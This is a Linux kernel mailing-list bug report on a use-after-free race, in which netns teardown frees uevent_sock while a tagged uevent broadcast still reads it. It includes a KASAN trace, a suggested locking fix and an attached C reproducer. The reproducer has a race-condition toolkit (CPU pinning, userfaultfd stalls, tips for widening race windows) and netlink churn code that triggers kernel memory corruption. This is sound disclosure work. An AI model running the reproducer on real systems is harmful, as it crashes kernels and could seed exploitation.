From: 徐晗翔 <xuhx@hust.edu.cn>
To: dakr@kernel.org, rafael@kernel.org
Cc: driver-core@lists.linux.dev, linux-kernel@vger.kernel.org
Subject: driver core: uevent: netns teardown frees uevent_sock while a tagged uevent is still being broadcast (UAF)
Date: Tue, 10 Nov 2026 21:00:29 +0800 (GMT+08:00) [thread overview]
Message-ID: <21f226b6.22aca.1a1c58bb374.Coremail.xuhx@hust.edu.cn> (raw)
In-Reply-To: <2026102727-data-sequel-ce41@gregkh>
[-- Attachment #1: Type: text/plain, Size: 6706 bytes --]
net->uevent_sock is published as a bare pointer by uevent_net_init()
and freed by uevent_net_exit(), but the tagged broadcast path
dereferences net->uevent_sock->sk without holding uevent_sock_mutex or
taking a socket reference. uevent_net_exit() drops the mutex before
releasing the socket and never clears net->uevent_sock, so a kobject
whose namespace callback returns an unpinned net pointer can emit a
tagged uevent after the per-net exit has freed the socket; KASAN
reports a slab-use-after-free read in kobject_uevent_net_broadcast()
(inlined into kobject_uevent_env in the report below).
An IB compat device supplies a concrete path. Its rdma_net is a raw
possible_net_t, and its asynchronous unregister can still be inside
device_del() after the net namespace has run uevent_net_exit(). This
was reported by syzbot (KASAN: slab-use-after-free Read in
disable_device, extid 4393dfdddf166f2de2b0,
https://syzkaller.appspot.com/bug?extid=4393dfdddf166f2de2b0) and I
reproduced it locally on 7.3 with a KASAN kernel; the same reproducer
is clean with a no-rxe control and with the v4 locking change described
below.
The detailed description:
* Test environment / affected version
Linux 7.3.0 (vanilla mainline tarball), x86_64, QEMU/KVM guest,
8 vCPU / 4 GB RAM, KASAN generic. The tested
lib/kobject_uevent.c is byte-identical to the audited 7.3 tree
(sha256 bbcf120ea86f42c74dec10e255a8cd0b3034c9f34cd5bb911fd94015729dd076).
Kernel config included CONFIG_NET_NS=y, CONFIG_INFINIBAND=y,
CONFIG_INFINIBAND_USER_ACCESS=y, CONFIG_RDMA_RXE=y, CONFIG_DUMMY=y
and CONFIG_KASAN=y. The kernel source was not modified to inject
the race; only the IB/RXE configuration was enabled and a userspace
reproducer was added.
* Mechanism
Three sides do not share a lifetime protocol:
- Publish side: uevent_net_init() allocates ue_sk and stores it
with net->uevent_sock = ue_sk (lib/kobject_uevent.c:773-803).
The field is a plain pointer in struct net, with no refcount,
RCU head, or socket reference (include/net/net_namespace.h:113).
- Free side: uevent_net_exit() reads the pointer, removes ue_sk
from the global uevent_sock_list under uevent_sock_mutex only
when it belongs to the initial user namespace, then unlocks and
calls netlink_kernel_release(ue_sk->sk) and kfree(ue_sk)
outside the mutex (lib/kobject_uevent.c:805-817). It never
writes net->uevent_sock = NULL.
- Read side: kobject_uevent_net_broadcast() obtains the target
net from the kobject namespace callback and passes
net->uevent_sock->sk directly to
uevent_net_broadcast_tagged() (lib/kobject_uevent.c:382-421;
the tagged dereference is at line 415). This path takes no
uevent_sock_mutex, no socket reference, and performs no NULL
check.
The IB trigger makes the window concrete:
- ib_class.namespace is net_namespace(), which only does
read_pnet(&coredev->rdma_net); rdma_init_coredev() stored the
net with write_pnet() without get_net()
(drivers/infiniband/core/device.c:536-550, 553-580).
- remove_one_compat_dev() erases the compat device from the
xarray under compat_devs_mutex, releases the mutex, and then
calls ib_free_port_attrs() and device_del()
(drivers/infiniband/core/device.c:1027-1039). device_del()
emits KOBJ_REMOVE at drivers/base/core.c:3983.
- device_del() has several sleeping or blocking points between
the xa_erase() and KOBJ_REMOVE (device_lock(), bus_notify(),
sysfs removal, class callbacks, devres_release_all()), so the
window is not merely theoretical.
On netns cleanup, rdma_dev_net_ops is registered with
register_pernet_device() (drivers/infiniband/core/device.c:3274),
while uevent_net_ops is registered with register_pernet_subsys()
(lib/kobject_uevent.c:826). Because the pernet list is walked in
reverse on exit, rdma_dev_exit_net() runs before
uevent_net_exit(). If the async IB path wins the xa_erase() in
remove_one_compat_dev(), rdma_dev_exit_net() sees an empty xarray
and proceeds to uevent_net_exit(), which frees ue_sk. The IB
worker can then continue through device_del() and read the freed
ue_sk through net->uevent_sock.
cleanup_net() calls ops_undo_list() (where uevent_net_exit() frees
ue_sk) and only later rcu_barrier()/net_complete_free()
(net/core/net_namespace.c:220-258, 666-729). struct net itself is
deferred, so KASAN reports the freed kmalloc-32 ue_sk, not net.
* Reproducer (attached: uevent_uaf_repro.c) and results on 7.3
The attached file is based on the syzbot C reproducer and adds a
no-rxe control mode plus a duration argument. It uses only
userspace netlink/ioctl calls; no kernel module or source change is
required.
# with dummy and rdma_rxe available, as root
gcc -O2 -pthread uevent_uaf_repro.c -o uevent_uaf_repro
./uevent_uaf_repro 60
./uevent_uaf_repro no-rxe 30 # negative control
Results (one QEMU/KVM guest, 8 vCPU):
- vulnerable 7.3, dummy + rxe, 60 s: 125 iterations, 4 KASAN
slab-use-after-free reports;
- vulnerable 7.3, dummy + netns churn without rxe, 30 s:
191 iterations, 0 KASAN reports;
- v4-patched kernel, same dummy + rxe trigger, 60 s: 0 reports.
The first positive report is:
BUG: KASAN: slab-use-after-free in kobject_uevent_env+0x64b/0x710
Read of size 8 ...
Workqueue: ib-unreg-wq ib_unregister_work
kobject_uevent_env
device_del
disable_device
__ib_unregister_device
ib_unregister_work
Allocated by: uevent_net_init
Freed by: ops_undo_list -> cleanup_net
cache: kmalloc-32
The race is probabilistic: an earlier 60 s run of the same reproducer
produced no report, and the successful run had kprobes installed on the path
(the probe overhead can widen the window). The v4 run used the same
kprobe configuration and stayed clean; the no-rxe control also
stayed clean. The syzbot report is independent of this local run.
* Suggested direction
Serialize the tagged broadcast with uevent_net_exit() using the
existing uevent_sock_mutex, and clear net->uevent_sock before
dropping the lock:
- in kobject_uevent_net_broadcast(), take uevent_sock_mutex,
read ue_sk = net->uevent_sock, and check ue_sk && ue_sk->sk
before calling uevent_net_broadcast_tagged();
- in uevent_net_exit(), take the same mutex, set
net->uevent_sock = NULL while removing ue_sk from the list, then
release the socket and free ue_sk outside the lock.
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: uevent_uaf_repro.c --]
[-- Type: text/plain, Size: 13479 bytes --]
// https://syzkaller.appspot.com/bug?id=62db7f0b628381f621ab352d501352f0cb359ba1
// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// --- Timing Primitives ---
// Robust timing loops in VM environments (using CLOCK_MONOTONIC to avoid time(NULL) jumps).
static inline double timer_elapsed_sec(struct timespec* start)
{
struct timespec now;
if (clock_gettime(CLOCK_MONOTONIC, &now) == -1) {
perror("clock_gettime(CLOCK_MONOTONIC) elapsed");
exit(1);
}
return (double)(now.tv_sec - start->tv_sec) + (double)(now.tv_nsec - start->tv_nsec) / 1e9;
}
// Initialize a monotonic timer variable.
#define TIMER_START(t) \
struct timespec t; \
if (clock_gettime(CLOCK_MONOTONIC, &t) == -1) { \
perror("clock_gettime(CLOCK_MONOTONIC) start"); \
exit(1); \
}
// Check if the elapsed time since 't' is less than 'sec' seconds.
#define TIMER_NOT_EXPIRED(t, sec) (timer_elapsed_sec(&(t)) < (double)(sec))
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
// 6. For timing-based loops (e.g., running a race for 10 seconds), do NOT use time(NULL)
// or loops relying on real-time clocks, as VM clocks are highly unreliable and can fail or drift.
// Instead, use the robust monotonic timing primitives TIMER_START and TIMER_NOT_EXPIRED:
// TIMER_START(start);
// while (TIMER_NOT_EXPIRED(start, 10.0)) {
// // Your race logic here
// }
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <sched.h>
#include <sys/wait.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <errno.h>
#include <time.h>
#define NETLINK_RDMA 20
#define RDMA_NL_NLDEV 5
#define RDMA_NLDEV_CMD_NEWLINK 3
#define RDMA_NLDEV_ATTR_DEV_NAME 2
#define RDMA_NLDEV_ATTR_NDEV_NAME 51
#define RDMA_NLDEV_ATTR_LINK_TYPE 65
static int create_dummy_interface(const char *name) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifm;
char buf[1024];
} req = {0};
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_EXCL | NLM_F_ACK;
req.nlh.nlmsg_type = RTM_NEWLINK;
req.nlh.nlmsg_seq = 1;
req.ifm.ifi_family = AF_UNSPEC;
struct rtattr *rta;
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
rta->rta_type = IFLA_IFNAME;
rta->rta_len = RTA_LENGTH(strlen(name) + 1);
strcpy(RTA_DATA(rta), name);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);
struct rtattr *linkinfo = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
linkinfo->rta_type = IFLA_LINKINFO;
linkinfo->rta_len = RTA_LENGTH(0);
rta = (struct rtattr *)(((char *)linkinfo) + RTA_ALIGN(linkinfo->rta_len));
rta->rta_type = IFLA_INFO_KIND;
rta->rta_len = RTA_LENGTH(strlen("dummy") + 1);
strcpy(RTA_DATA(rta), "dummy");
linkinfo->rta_len += RTA_ALIGN(rta->rta_len);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(linkinfo->rta_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
struct {
struct nlmsghdr nlh;
struct nlmsgerr err;
} resp;
recv(fd, &resp, sizeof(resp), 0);
close(fd);
return resp.err.error;
}
static int delete_interface(const char *name) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (fd < 0) return -1;
struct {
struct nlmsghdr nlh;
struct ifinfomsg ifm;
char buf[1024];
} req = {0};
req.nlh.nlmsg_len = NLMSG_LENGTH(sizeof(struct ifinfomsg));
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_type = RTM_DELLINK;
req.nlh.nlmsg_seq = 1;
req.ifm.ifi_family = AF_UNSPEC;
struct rtattr *rta;
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
rta->rta_type = IFLA_IFNAME;
rta->rta_len = RTA_LENGTH(strlen(name) + 1);
strcpy(RTA_DATA(rta), name);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
struct {
struct nlmsghdr nlh;
struct nlmsgerr err;
} resp;
recv(fd, &resp, sizeof(resp), 0);
close(fd);
return resp.err.error;
}
static void bring_up_interface(const char *name) {
int fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0) return;
struct ifreq ifr;
strcpy(ifr.ifr_name, name);
if (ioctl(fd, SIOCGIFFLAGS, &ifr) == 0) {
ifr.ifr_flags |= IFF_UP;
ioctl(fd, SIOCSIFFLAGS, &ifr);
}
close(fd);
}
static int send_rdma_newlink(const char *ibdev_name, const char *link_type, const char *ndev_name) {
int fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_RDMA);
if (fd < 0) return -1;
struct {
struct nlmsghdr nlh;
char buf[1024];
} req = {0};
req.nlh.nlmsg_len = NLMSG_LENGTH(0);
req.nlh.nlmsg_type = (RDMA_NL_NLDEV << 10) | RDMA_NLDEV_CMD_NEWLINK;
req.nlh.nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
req.nlh.nlmsg_seq = 1;
struct rtattr *rta;
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
rta->rta_type = RDMA_NLDEV_ATTR_DEV_NAME;
rta->rta_len = RTA_LENGTH(strlen(ibdev_name) + 1);
strcpy(RTA_DATA(rta), ibdev_name);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
rta->rta_type = RDMA_NLDEV_ATTR_LINK_TYPE;
rta->rta_len = RTA_LENGTH(strlen(link_type) + 1);
strcpy(RTA_DATA(rta), link_type);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);
rta = (struct rtattr *)(((char *)&req) + NLMSG_ALIGN(req.nlh.nlmsg_len));
rta->rta_type = RDMA_NLDEV_ATTR_NDEV_NAME;
rta->rta_len = RTA_LENGTH(strlen(ndev_name) + 1);
strcpy(RTA_DATA(rta), ndev_name);
req.nlh.nlmsg_len = NLMSG_ALIGN(req.nlh.nlmsg_len) + RTA_ALIGN(rta->rta_len);
struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
sendto(fd, &req, req.nlh.nlmsg_len, 0, (struct sockaddr *)&sa, sizeof(sa));
struct {
struct nlmsghdr nlh;
struct nlmsgerr err;
} resp;
recv(fd, &resp, sizeof(resp), 0);
close(fd);
return resp.err.error;
}
int main(int argc, char **argv) {
/* no-rxe: negative control; keep the same dummy/netns churn without IB.
* Optional numeric arg: run duration in seconds (default 10).
*/
int use_rxe = 1;
double secs = 10.0;
for (int ai = 1; ai < argc; ai++) {
if (strcmp(argv[ai], "no-rxe") == 0) {
use_rxe = 0;
} else {
double v = atof(argv[ai]);
if (v > 0)
secs = v;
}
}
SETUP_UNBUFFERED_IO();
TIMER_START(start);
srand(time(NULL) ^ getpid());
printf("[*] uevent_uaf_repro: use_rxe=%d secs=%.0f pid=%d\n", use_rxe, secs, getpid());
int iter = 0;
while (TIMER_NOT_EXPIRED(start, secs)) {
char dummy_name[32];
char rxe_name[32];
sprintf(dummy_name, "d%d_%d", getpid(), iter);
sprintf(rxe_name, "r%d_%d", getpid(), iter);
int res = create_dummy_interface(dummy_name);
if (res < 0 && res != -EEXIST) {
printf("[-] Failed to create dummy interface: %d\n", res);
exit(1);
}
bring_up_interface(dummy_name);
if (use_rxe) {
res = send_rdma_newlink(rxe_name, "rxe", dummy_name);
if (res < 0) {
printf("[-] Failed to create RXE device: %d\n", res);
}
}
int p[2];
if (pipe(p) < 0) {
exit(1);
}
pid_t pid = fork();
if (pid == 0) {
close(p[0]);
if (unshare(CLONE_NEWNET) < 0) {
printf("[-] unshare(CLONE_NEWNET) failed: %d\n", errno);
exit(1);
}
// Signal parent that we are in new netns
if (write(p[1], "1", 1) != 1) {}
// Wait for parent to signal us to exit
char c;
if (read(p[1], &c, 1) != 1) {}
// Exit, triggering cleanup_net
exit(0);
}
close(p[1]);
char c;
// Wait for child to unshare
if (read(p[0], &c, 1) != 1) {}
close(p[0]);
// Signal child to exit
kill(pid, SIGKILL);
// Random delay between 0 and 50ms to hit the race window
// cleanup_net blocks on synchronize_rcu() which takes some time
usleep(rand() % 50000);
// Immediately delete the dummy interface to trigger ib_unregister_work
delete_interface(dummy_name);
waitpid(pid, NULL, 0);
// Wait a bit for workqueues to finish
usleep(50000);
iter++;
}
printf("[+] Reproducer finished after %d iterations.\n", iter);
return 0;
}
prev parent reply other threads:[~2026-11-10 13:00 UTC|newest]
Thread overview: 24+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-10-27 12:35 usb: devio: usbdev_release() has no barrier against an in-flight async_completed() callback (use-after-free window on struct usb_dev_state)gregkh@linuxfoundation.org 徐晗翔
2026-10-27 14:12 ` Greg KH
2026-11-03 11:21 ` mm/slub: has_pcs_used() reads remote per-CPU sheaf state from flush_all_cpus_locked() without synchronization (data race; KCSAN blind spot: slub.o is uninstrumented) 徐晗翔
2026-11-04 9:41 ` Qing Wang
2026-11-04 10:07 ` Qing Wang
2026-11-03 11:30 ` futex/hrtimer: hrtimer_sleeper::task is read unsynchronized in 16 places on v7.3 -- the accessor series that fixes this is not in 7.3; please make sure it reaches the affected trees (backport nudge + stock-kernel KCSAN evidence) 徐晗翔
2026-11-03 11:48 ` cgroup: fork vs cgroup.procs write race in favordynmods mode -- v7.3 is affected; please make sure bf6fbf46b5ff reaches the stable trees (repro incl. uninstrumented natural hit) 徐晗翔
2026-11-03 14:51 ` Sasha Levin
2026-11-03 11:57 ` net: rtnetlink: rtnl_link_unregister() vs in-flight RTM_GETLINK dump readers -- v7.3 lacks the synchronize_rcu() fix (Fixes: 6b57ff21a310 family); A/B reproduction on stock 7.3 徐晗翔
2026-11-03 15:49 ` Eric Dumazet
2026-11-04 15:03 ` Sasha Levin
2026-11-03 12:07 ` wifi: wilc1000: SDIO/SPI remove destroys the srcu_struct before wiphy_unregister() -- late cfg80211 callbacks write through dangling srcu state (unfixed upstream; controlled + natural Oops) 徐晗翔
2026-11-03 12:10 ` gpio: gpiolib: final put of the gpio_device happens inside the SRCU read critical section on the setup-failure path -- deterministic use-after-free read at guard release (unfixed upstream) 徐晗翔
2026-11-05 8:52 ` Linus Walleij
2026-11-04 12:54 ` soc: qcom: pmic_glink_altmode: fix use-after-free on unbind (no cancel_work_sync for port work and enable_work) 徐晗翔
2026-11-04 13:04 ` Greg KH
2026-11-04 12:57 ` usb: typec: anx7411: unregister partner/altmodes before stopping the IRQ work -- use-after-free, double unregister, orphan partner on remove 徐晗翔
2026-11-04 13:28 ` Greg KH
2026-11-04 12:58 ` usb: typec: ucsi: deadlock on cros_ec unbind -- connector lock held across cancel_delayed_work_sync vs the mode-selection work's unbounded trylock polling 徐晗翔
2026-11-04 13:00 ` usb: typec: stusb160x/rt1719/hd3ss3220: IRQ thread vs remove -- double unregister / use-after-free on the partner and port 徐晗翔
2026-11-04 13:01 ` usb: typec: ucsi: displayport: data race on dp->header/ vdo_data/vdo_size -- work reads them unlocked while writers hold con->lock (VDM mismatch) 徐晗翔
2026-11-04 13:02 ` usb: typec: class: three lifetime/locking gaps around the mux/switch handles and mode_selection (drvdata UAF after provider unbind; no concurrent protocol for set/put; unlocked state_update vs delete) 徐晗翔
2026-11-10 12:56 ` driver core: uevent: netns teardown frees uevent_sock while a tagged uevent is still being broadcast (UAF) 徐晗翔
2026-11-10 13:00 ` 徐晗翔 [this message]
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=21f226b6.22aca.1a1c58bb374.Coremail.xuhx@hust.edu.cn \
--to=xuhx@hust.edu.cn \
--cc=dakr@kernel.org \
--cc=driver-core@lists.linux.dev \
--cc=linux-kernel@vger.kernel.org \
--cc=rafael@kernel.org \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®